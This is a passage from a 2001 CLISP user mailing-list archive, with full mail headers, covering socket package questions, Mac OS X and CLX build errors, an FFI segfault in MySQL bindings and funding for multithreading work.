clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <2hwv6o3wpw.fsf@dslab7.cs.uit.no> > * On the subject of "Re: [clisp-list] UDP network streams" > * Sent on 07 Jun 2001 21:40:11 +0200 > * Honorable Frode Vatvedt Fjeld writes: > > And how come the socket streams extension is not present in my clisp, > taken from either FreeBSD or NetBSD's packages? > > [1]> (socket:socket-server) > > *** - READ from # #>: there is no package with name "SOCKET" > 1. Break [2]> I am not clairvoyant. Sorry. I really wish I were. Who built your packages? From which sources? What is your CLISP version? (lisp-implementation-version) What does (apropos "socket") say? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Sex is like air. It's only a big deal if you can't get any. From frodef@acm.org Thu Jun 07 14:32:29 2001 Received: from dslab7.cs.uit.no ([129.242.16.27]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.22 #1 (Debian)) id 1587OG-0004cQ-00 for ; Thu, 07 Jun 2001 14:32:28 -0700 Received: (from frodef@localhost) by dslab7.cs.uit.no (8.11.3/8.11.0) id f57LWOM65504; Thu, 7 Jun 2001 23:32:24 +0200 (CEST) (envelope-from frodef@acm.org) X-Authentication-Warning: dslab7.cs.uit.no: frodef set sender to frodef@acm.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] UDP network streams References: <2hbsocb4gv.fsf@dslab7.cs.uit.no> <2hy9rg9bam.fsf@dslab7.cs.uit.no> <2h8zjfaebj.fsf@dslab7.cs.uit.no> <2hd78q8ici.fsf@dslab7.cs.uit.no> <15126.35438.198433.110280@isis.compsvcs.com> <2hwv6o3wpw.fsf@dslab7.cs.uit.no> From: Frode Vatvedt Fjeld Date: 07 Jun 2001 23:32:23 +0200 In-Reply-To: Sam Steingold's message of "07 Jun 2001 16:57:13 -0400" Message-ID: <2hk82o3riw.fsf@dslab7.cs.uit.no> Lines: 30 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold writes: > Who built your packages? > >From which sources? > What is your CLISP version? (lisp-implementation-version) > What does (apropos "socket") say? I now discovered the socket stuff is actually there, only there is something funny going on with the reader or somewhere that causes the following (to me) very unexpected behavior. I'm quite new to CLISP, so please point me to some FAQ or wherever this behavior is explained. [1]> (socket::socket-server) *** - READ from # #>: there is no package with name "SOCKET" 1. Break [2]> [3]> (in-package :socket) # SOCKET[4]> (socket-server) # SOCKET[5]> (in-package :user) # [6]> (socket::socket-server) # [7]> (lisp-implementation-version) "2.25.1 (released 2001-04-06) (built 3200149047) (memory 3200149510)" -- Frode Vatvedt Fjeld From don-sourceforge@isis.compsvcs.com Thu Jun 07 15:26:03 2001 Received: from cine-dyrad.cinenet.net ([198.147.117.71] helo=isis.compsvcs.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 1588E7-0005Ts-00 for ; Thu, 07 Jun 2001 15:26:03 -0700 Received: (from donc@localhost) by isis.compsvcs.com (8.11.1/8.11.1) id f57MRl129124; Thu, 7 Jun 2001 15:27:47 -0700 (PDT) X-Authentication-Warning: isis.compsvcs.com: donc set sender to don-sourceforge using -f X-Authentication-Warning: isis.compsvcs.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.compsvcs.com: Processed by donc with -C /etc/mail/sendmail.cf2 From: don-sourceforge@isis.compsvcs.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15135.65506.462873.460886@isis.compsvcs.com> Date: Thu, 7 Jun 2001 15:27:46 -0700 (PDT) To: Miles Egan Cc: Frode Vatvedt Fjeld , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] UDP network streams In-Reply-To: <20010607130749.A11767@caddr.com> References: <2hbsocb4gv.fsf@dslab7.cs.uit.no> <2hy9rg9bam.fsf@dslab7.cs.uit.no> <2h8zjfaebj.fsf@dslab7.cs.uit.no> <2hd78q8ici.fsf@dslab7.cs.uit.no> <15126.35438.198433.110280@isis.compsvcs.com> <2hwv6o3wpw.fsf@dslab7.cs.uit.no> <20010607130749.A11767@caddr.com> X-Mailer: VM 6.72 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: The argument for select seems to apply just as well to tcp as udp. My hope is that clisp will soon support multiple threads, and at that point I expect select will become less important. For now I suggest that you ignore this issue in your UDP interface. I recall select being discussed at least once before. I think the result of the last such discsussion was the addition of SOCKET-STATUS. On Thu, Jun 07, 2001 at 09:40:11PM +0200, Frode Vatvedt Fjeld wrote: > I've been looking a bit into the issue of creating a reasonable lisp > interface to UDP sockets. In my opinion, such an interface should > include some sort of event dispatch facility (i.e. a unix select kind > of thing). From what I've read of clisp documentation, there is no > existing event model in clisp. For example, SOCKET:SOCKET-WAIT only > waits for a single socket. > > So this is a request for comments or advice on this issue. How > should/could synchronization to several (kinds of) sockets be > implemented? From finton@nova10.cs.wisc.edu Thu Jun 07 17:01:56 2001 Received: from pop.cs.wisc.edu ([128.105.6.13]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 1589it-0007Wx-00 for ; Thu, 07 Jun 2001 17:01:55 -0700 Received: from nova10.cs.wisc.edu (nova10.cs.wisc.edu [128.105.119.110]) by pop.cs.wisc.edu (8.9.2/8.9.2) with ESMTP id TAA27814; Thu, 7 Jun 2001 19:01:53 -0500 (CDT) Received: from localhost (finton@localhost) by nova10.cs.wisc.edu (8.9.2/8.9.2) with ESMTP id TAA12255; Thu, 7 Jun 2001 19:01:53 -0500 (CDT) Date: Thu, 7 Jun 2001 19:01:53 -0500 (CDT) From: "David J. Finton" To: Sam Steingold cc: clisp-list@lists.sourceforge.net, David Finton Subject: Re: [clisp-list] clisp for OSX? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Okay. I've attempted to follow your advice and build from the sources: clisp-2.26.tar.gz, from (I believe) ftp://clisp.cons.org/pub/lisp/clisp/source/latest/ I discovered that some of the tips in the PLATFORMS file seem to be wrong for Mac OS X v10.0.3, since bash and ulimit aren't available here. But the instruction for increasing the stacksize turned out to be necessary. (I have tcsh, and used "unlimit stacksize" followed by "limit stacksize 8192". The previous value was 512). Things seem to get built until : ---- Compilation of file /private/var/tmp/lisp/clisp-2.26/build-june7/macros3.lisp is finished. 0 errors, 0 warnings ./lisp.run -m 1000KW -M interpreted.mem -B . -N locale -Efile UTF-8 -norc -q -c foreign1.lisp Compiling file /private/var/tmp/lisp/clisp-2.26/build-june7/foreign1.lisp ... *** - There is no package with name "FFI" make: *** [foreign1.fas] Error 1 [localhost:lisp/clisp-2.26/build-june7] root# Any advice on where to go from here? Thanks, David Finton From eric@ericdegroot.com Thu Jun 07 22:17:46 2001 Received: from rcomm.net ([216.122.136.22]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 158EeX-000473-00 for ; Thu, 07 Jun 2001 22:17:45 -0700 Received: from CX417245D (cx417245-d.fed1.sdca.home.com [24.251.129.67]) by rcomm.net (8.9.3/8.9.3) with SMTP id WAA28820; Thu, 7 Jun 2001 22:17:32 -0700 (PDT) Message-ID: <00c701c0efda$91ada840$4381fb18@CX417245D> From: "Eric de Groot" To: Cc: References: <010901c0eb25$95f320b0$4381fb18@CX417245D><00e701c0ee78$091f8240$4381fb18@CX417245D> <005c01c0eeca$1eae2e70$4381fb18@CX417245D> <011401c0eee8$9312f390$4381fb18@CX417245D> Date: Thu, 7 Jun 2001 22:19:18 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Subject: [clisp-list] clisp ffi sigsegv Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Ok, I wrote clisp bindings for libmysqlclient. With the following test code: (let ((conn (MYSQL::mysql_init nil))) (MYSQL::mysql_connect conn "localhost" "root" "") (MYSQL::mysql_get_server_info conn) (MYSQL::mysql_select_db conn "mysql") (MYSQL::mysql_query conn "select * from user") (let ((result (MYSQL::mysql_use_result conn))) (loop (let ((row (MYSQL::mysql_fetch_row result))) (when (eq row nil) (return t)) (print row))) (MYSQL::mysql_free_result result)) (MYSQL::mysql_close conn)) I get: *** - handle_fault error2 ! address = 0xFE0000 not in [0x2027A000,0x20337404) ! SIGSEGV cannot be cured. Fault address = 0xFE0000. Segmentation fault but, if I run just this part of the code first, followed by the entire thing: [1]> (let ((conn (MYSQL::eric_mysql_init))) (MYSQL::mysql_connect conn "localhost" "root" "") (MYSQL::mysql_get_server_info conn) (MYSQL::mysql_select_db conn "mysql") (MYSQL::mysql_query conn "select * from user")) 0 [2]> (let ((conn (MYSQL::mysql_init nil))) (MYSQL::mysql_connect conn "localhost" "root" "") (MYSQL::mysql_get_server_info conn) (MYSQL::mysql_select_db conn "mysql") (MYSQL::mysql_query conn "select * from user") (let ((result (MYSQL::mysql_use_result conn))) (loop (let ((row (MYSQL::mysql_fetch_row result))) (when (eq row nil) (return t)) (print row))) (MYSQL::mysql_free_result result)) (MYSQL::mysql_close conn)) #("localhost" "root" "" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "") #("cx417245-c" "root" "" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "") #("localhost" "" "" "N" "N" "N" "N" "N" "N" "N" "N" "N" "N" "N" "N" "N" "N" "") #("cx417245-c" "" "" "N" "N" "N" "N" "N" "N" "N" "N" "N" "N" "N" "N" "N" "N" "Y") [3]> it works! but then if I past it a couple more times it eventually seg faults anyway. Any idea what might be causing this?? again, you can see my files at http://www.ericdegroot.com/clisp/ this is on: debian 2.2 (2.2.19pre17) GNU CLISP 2.26.1 (released 2001-06-04) (built 3200899615) (memory 3201017859) Thanks! I'm so close.. -eric From russell@tdb.com Thu Jun 07 23:02:00 2001 Received: from coulee.tdb.com ([216.99.215.11]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 158FLL-0003Ic-00 for ; Thu, 07 Jun 2001 23:01:59 -0700 Received: (qmail 15967 invoked by uid 1001); 8 Jun 2001 06:01:55 -0000 To: clisp-list@sourceforge.net Subject: Re: [clisp-list] CLISP MT - more details References: <200106011351.JAA05959@octagon.mrl.nyu.edu> <15127.44985.559301.964226@isis.compsvcs.com> From: Russell Senior Date: 07 Jun 2001 23:01:55 -0700 In-Reply-To: don-sourceforge@isis.compsvcs.com's message of "Fri, 1 Jun 2001 08:07:37 -0700 (PDT)" Message-ID: <86ofrzbjcc.fsf@coulee.tdb.com> Lines: 28 X-Mailer: Gnus v5.7/Emacs 20.7 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: >>>>> "Don" == Don Cohen writes: >> What is CLISP MT? Don> The project is to make clisp MultiThreaded (MT), also known as Don> multiprocessing in olden times. Don> This has been discussed on and off for years and many of us have Don> wished for it. Sam seems to have found someone in Russia who he Don> says can do it for very few dollars (possibly still a reasonable Don> number of rubles) - he suggests a few thousand dollars might be Don> enough. For what it is worth, I just went to a talk tonight where a guy from the `LinuxFund.org' stood up and said they were having a hard time finding people to take their grants. They give away $1000 at a time, and right now they aren't being that picky. Basically about 400-500 words describing the project and, he claims, the money can be made available. I immediately made the connection to the CLISP MT project, particularly because the amounts discussed were comparable. Someone might want to take a look at the linuxfund.org site and give it a whirl. -- Russell Senior ``The two chiefs turned to each other. seniorr@aracnet.com Bellison uncorked a flood of horrible profanity, which, translated meant, `This is extremely unusual.' '' From amoroso@mclink.it Fri Jun 08 00:15:09 2001 Received: from net128-053.mclink.it ([195.110.128.53] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 158GU8-0007t2-00 for ; Fri, 08 Jun 2001 00:15:08 -0700 Received: from net145-048.mclink.it (net145-048.mclink.it [195.110.145.48]) by mail.mclink.it (8.11.0/8.9.0) with SMTP id f587F2J20588 for ; Fri, 8 Jun 2001 09:15:02 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Error building MIT CLX under Linux Date: Fri, 08 Jun 2001 09:14:44 +0200 Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On 07 Jun 2001 13:40:45 -0400, Sam Steingold wrote: > thanks - fixed. > get the patch in the same place as sources or do cvs up With your patch I am able to proceed further, but then compilation stops with the error: [...] Compiling file /home/paolo/clisp-2.26/modules/clx/mit-clx/display.lisp ... WARNING in function WITH-EVENT-QUEUE-FUNCTION in lines 207..216 : variable DISPLAY is not used. Misspelled or missing IGNORE declaration? WARNING in function WITH-EVENT-QUEUE-FUNCTION in lines 207..216 : variable TIMEOUT is not used. Misspelled or missing IGNORE declaration? Compilation of file /home/paolo/clisp-2.26/modules/clx/mit-clx/display.lisp is finished. The following functions were used but not defined: INITIALIZE-EXTENSIONS ALLOCATE-REPLY-BUFFER START-PENDING-COMMAND READ-REPLY DEALLOCATE-REPLY-BUFFER STOP-PENDING-COMMAND REPORT-ASYNCHRONOUS-ERRORS 0 errors, 2 warnings ;; Loading file /home/paolo/clisp-2.26/modules/clx/mit-clx/display.fas ... ;; Loading of file /home/paolo/clisp-2.26/modules/clx/mit-clx/display.fas is finished. Compiling file /home/paolo/clisp-2.26/modules/clx/mit-clx/gcontext.lisp ... WARNING: (DEFCONSTANT *GCONTEXT-INDEXES* '(:TIMESTAMP 26 :ARC-MODE 22 :DASHES 21 :DASH-OFFSET 20 :CLIP-MASK 19 :CLIP-Y 18 :CLIP-X 17 :EXPOSURES 16 :SUBWINDOW-MODE 15 :FONT 14 :TS-Y 13 :TS-X 12 :STIPPLE 11 :TILE 10 :FILL-RULE 9 :FILL-STYLE 8 :JOIN-STYLE 7 :CAP-STYLE 6 :LINE-STYLE 5 :LINE-WIDTH 4 :BACKGROUND 3 :FOREGROUND 2 :PLANE-MASK 1 :FUNCTION 0)) redefines the constant *GCONTEXT-INDEXES*. Its old value was (:TIMESTAMP 26 :ARC-MODE 22 :DASHES 21 :DASH-OFFSET 20 :CLIP-MASK 19 :CLIP-Y 18 :CLIP-X 17 :EXPOSURES 16 :SUBWINDOW-MODE 15 :FONT 14 :TS-Y 13 :TS-X 12 :STIPPLE 11 :TILE 10 :FILL-RULE 9 :FILL-STYLE 8 :JOIN-STYLE 7 :CAP-STYLE 6 :LINE-STYLE 5 :LINE-WIDTH 4 :BACKGROUND 3 :FOREGROUND 2 :PLANE-MASK 1 :FUNCTION 0). WARNING: (DEFCONSTANT *GCONTEXT-MASKS* '#(1 2 4 8 16 32 64 128 256 512 1024 2048 4096 8192 16384 32768 65536 131072 262144 524288 1048576 2097152 4194304 8912896 18874368 33570816 67108864)) redefines the constant *GCONTEXT-MASKS*. Its old value was #(1 2 4 8 16 32 64 128 256 512 1024 2048 4096 8192 16384 32768 65536 131072 262144 524288 1048576 2097152 4194304 8912896 18874368 33570816 67108864). *** - FUNCALL: the function GET-SETF-METHOD is undefined make: *** [stamp.fas] Error 1 Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From frodef@acm.org Fri Jun 08 05:59:19 2001 Received: from dslab7.cs.uit.no ([129.242.16.27]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.22 #1 (Debian)) id 158Lr5-0006Mr-00 for ; Fri, 08 Jun 2001 05:59:12 -0700 Received: (from frodef@localhost) by dslab7.cs.uit.no (8.11.3/8.11.0) id f58Cx0967209; Fri, 8 Jun 2001 14:59:00 +0200 (CEST) (envelope-from frodef@acm.org) X-Authentication-Warning: dslab7.cs.uit.no: frodef set sender to frodef@acm.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] UDP network streams References: <2hbsocb4gv.fsf@dslab7.cs.uit.no> <2hy9rg9bam.fsf@dslab7.cs.uit.no> <2h8zjfaebj.fsf@dslab7.cs.uit.no> <2hd78q8ici.fsf@dslab7.cs.uit.no> <15126.35438.198433.110280@isis.compsvcs.com> <2hwv6o3wpw.fsf@dslab7.cs.uit.no> <20010607130749.A11767@caddr.com> <15135.65506.462873.460886@isis.compsvcs.com> From: Frode Vatvedt Fjeld Date: 08 Jun 2001 14:58:19 +0200 In-Reply-To: don-sourceforge@isis.compsvcs.com's message of "Thu, 7 Jun 2001 15:27:46 -0700 (PDT)" Message-ID: <2hbsnzp1qs.fsf@dslab7.cs.uit.no> Lines: 13 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: don-sourceforge@isis.compsvcs.com (Don Cohen) writes: > I recall select being discussed at least once before. I think the > result of the last such discsussion was the addition of > SOCKET-STATUS. Right, SOCKET-STATUS seems to me to be a select variant. It seems to me it would be a mistake to start building a UDP interface based on libc/FFI. The right thing would be to extend the existing SOCKET package to support UDP in addition to TCP. -- Frode Vatvedt Fjeld From dave@cherryville.org Fri Jun 08 07:24:42 2001 Received: from h24-67-104-195.cg.shawcable.net ([24.67.104.195] helo=vc.cherryville.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 158NBq-000426-00 for ; Fri, 08 Jun 2001 07:24:42 -0700 Received: by vc.cherryville.org (Postfix, from userid 501) id 2D43CB76D; Fri, 8 Jun 2001 08:27:00 -0600 (MDT) Received: from localhost (localhost [127.0.0.1]) by vc.cherryville.org (Postfix) with ESMTP id 1FBB1B76C for ; Fri, 8 Jun 2001 08:27:00 -0600 (MDT) Date: Fri, 8 Jun 2001 08:27:00 -0600 (MDT) From: Dave Lee To: Subject: Re: [clisp-list] CLISP MT - more details In-Reply-To: <86ofrzbjcc.fsf@coulee.tdb.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Russell Senior wrote: > For what it is worth, I just went to a talk tonight where a guy from > the `LinuxFund.org' stood up and said they were having a hard time > finding people to take their grants. They give away $1000 at a time, > and right now they aren't being that picky. Basically about 400-500 > words describing the project and, he claims, the money can be made > available. I immediately made the connection to the CLISP MT project, > particularly because the amounts discussed were comparable. Someone > might want to take a look at the linuxfund.org site and give it a > whirl. I agree! Earlier this year I received a LiunxFund credit card and so far I have spent a few dollars with it, with some of those bucks going towards Paul Graham's two Lisp books, On Lisp and ACL. So I definitely think the clisp project should try to apply for a piece of the LinuxFund action considering a (so far small) piece of their action has come from me. So I am fairly new to Lisp, but I would really like to help with the threading project, if possible, though it seems as though you are looking for one guy to do it all, and I dont know if I could be that one guy, not right now anyways. So if you think that the threading project could benifit from help from extra people, I am willing to do whatevers needed, and I am not looking for any of the money. Thanks, Dave From sds@gnu.org Fri Jun 08 07:49:47 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 158Na6-00011d-00 for ; Fri, 08 Jun 2001 07:49:47 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA25493; Fri, 8 Jun 2001 10:49:43 -0400 (EDT) X-Envelope-To: To: "David J. Finton" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp for OSX? References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 08 Jun 2001 10:49:11 -0400 Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "Re: [clisp-list] clisp for OSX?" > * Sent on Thu, 7 Jun 2001 19:01:53 -0500 (CDT) > * Honorable "David J. Finton" writes: > > Compiling file /private/var/tmp/lisp/clisp-2.26/build-june7/foreign1.lisp > .... > *** - There is no package with name "FFI" > make: *** [foreign1.fas] Error 1 > [localhost:lisp/clisp-2.26/build-june7] root# > > Any advice on where to go from here? please get the "no-ffi" patch from the same place you got your sources, then reconfigure and rebuild. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on The paperless office will become a reality soon after the paperless toilet. From sds@gnu.org Fri Jun 08 07:58:39 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 158Nig-0002ph-00 for ; Fri, 08 Jun 2001 07:58:39 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA27223; Fri, 8 Jun 2001 10:58:36 -0400 (EDT) X-Envelope-To: To: Frode Vatvedt Fjeld Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] UDP network streams References: <2hbsocb4gv.fsf@dslab7.cs.uit.no> <2hy9rg9bam.fsf@dslab7.cs.uit.no> <2h8zjfaebj.fsf@dslab7.cs.uit.no> <2hd78q8ici.fsf@dslab7.cs.uit.no> <15126.35438.198433.110280@isis.compsvcs.com> <2hwv6o3wpw.fsf@dslab7.cs.uit.no> <2hk82o3riw.fsf@dslab7.cs.uit.no> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <2hk82o3riw.fsf@dslab7.cs.uit.no> Date: 08 Jun 2001 10:58:02 -0400 Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <2hk82o3riw.fsf@dslab7.cs.uit.no> > * On the subject of "Re: [clisp-list] UDP network streams" > * Sent on 07 Jun 2001 23:32:23 +0200 > * Honorable Frode Vatvedt Fjeld writes: > > [3]> (in-package :socket) > # > SOCKET[4]> (socket-server) > # > [7]> (lisp-implementation-version) > "2.25.1 (released 2001-04-06) (built 3200149047) (memory 3200149510)" You are confused: 2.25.1 did not have a SOCKET package. (describe 'socket-server) would tell you that it is in LISP, not SOCKET. get the latest released sources - 2.26 and apply the patches (or use CVS). ./configure --build build try again your code. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on A clear conscience is usually the sign of a bad memory. From bhyde@zap.ne.mediaone.net Fri Jun 08 08:24:20 2001 Received: from zap.ne.mediaone.net ([66.31.108.127]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 158O6u-0006fc-00 for ; Fri, 08 Jun 2001 08:23:40 -0700 Received: (qmail 76443 invoked by uid 1000); 8 Jun 2001 15:23:14 -0000 From: Ben Hyde MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15136.60896.369363.329154@zap.ne.mediaone.net> Date: Fri, 8 Jun 2001 11:23:12 -0400 (EDT) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] pserver access, can't "login" In-Reply-To: <15134.21407.693580.467745@zap.ne.mediaone.net> References: <20010606135749.62246.qmail@zap.ne.mediaone.net> <15134.21407.693580.467745@zap.ne.mediaone.net> X-Mailer: VM 6.71 under 21.1 "20 Minutes to Nikko" XEmacs Lucid (patch 2) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Ben Hyde wrote: > > > * On the subject of "[clisp-list] pserver access, can't "login"" My fault. I misread the instructions and thought there was a password; there isn't. :-/ - ben From bhyde@zap.ne.mediaone.net Fri Jun 08 08:33:00 2001 Received: from zap.ne.mediaone.net ([66.31.108.127]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.22 #1 (Debian)) id 158OFV-0007JP-00 for ; Fri, 08 Jun 2001 08:32:33 -0700 Received: (qmail 76490 invoked by uid 1000); 8 Jun 2001 15:31:43 -0000 Date: 8 Jun 2001 15:31:43 -0000 Message-ID: <20010608153143.76489.qmail@zap.ne.mediaone.net> From: Ben Hyde To: clisp-list@lists.sourceforge.net Subject: [clisp-list] MacOSX avcall-rs600-... troubles Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: My MacOSX install has the developer tools and I added bash, set CONFIG_SHELL as recomeneded, and bumped up the stack size all as outlined in unix/PLATFORMS. Late in the ./configure it dives down into src/avcall and invokes make. That doesn't work out. I've clipped out the offending portion. It appears that the C compiler thought the assembler code was C code? The only pot shots I took were to revise the make file in src/avcall to remove the -O and use bash; since that is implied in unix/PLATFORMS. Any help gratefully accepted :-). - ben ps. Humm looks like the mailer is reformating the log. creating ./config.status creating Makefile creating config.h case "darwin1.3.3" in \ aix3*) syntax=aix.old;; \ aix*) syntax=aix.new;; \ linux*) syntax=linux;; \ *) syntax=sysv4;; \ esac; \ /bin/sh ./libtool --mode=compile cc -O -traditional-cpp -x none -c ../../ffcall/avcall/avcall-rs6000-${syntax}.s ; \ cp avcall-rs6000-${syntax}.lo avcall-rs6000.lo ; rm -f avcall-rs6000-${syntax}.lo ; \ if test -f avcall-rs6000-${syntax}.o; then mv avcall-rs6000-${syntax}.o avcall-rs6000.o; fi cc -O -traditional-cpp -x none -c ../../ffcall/avcall/avcall-rs6000-sysv4.s -o avcall-rs6000-sysv4.o avcall-rs6000.c:3:Expected comma after segment-name avcall-rs6000.c:3:Rest of line ignored. 1st junk character valued 32 ( ). avcall-rs6000.c:5:Unknown pseudo-op: .type avcall-rs6000.c:5:Rest of line ignored. 1st junk character valued 95 (_). avcall-rs6000.c:5:Invalid mnemonic 'function' avcall-rs6000.c:7:Unknown pseudo-op: .extern From sds@gnu.org Fri Jun 08 10:09:00 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 158Pkp-0003SZ-00 for ; Fri, 08 Jun 2001 10:09:00 -0700 Received: from xchange.com (gopher.exapps.com 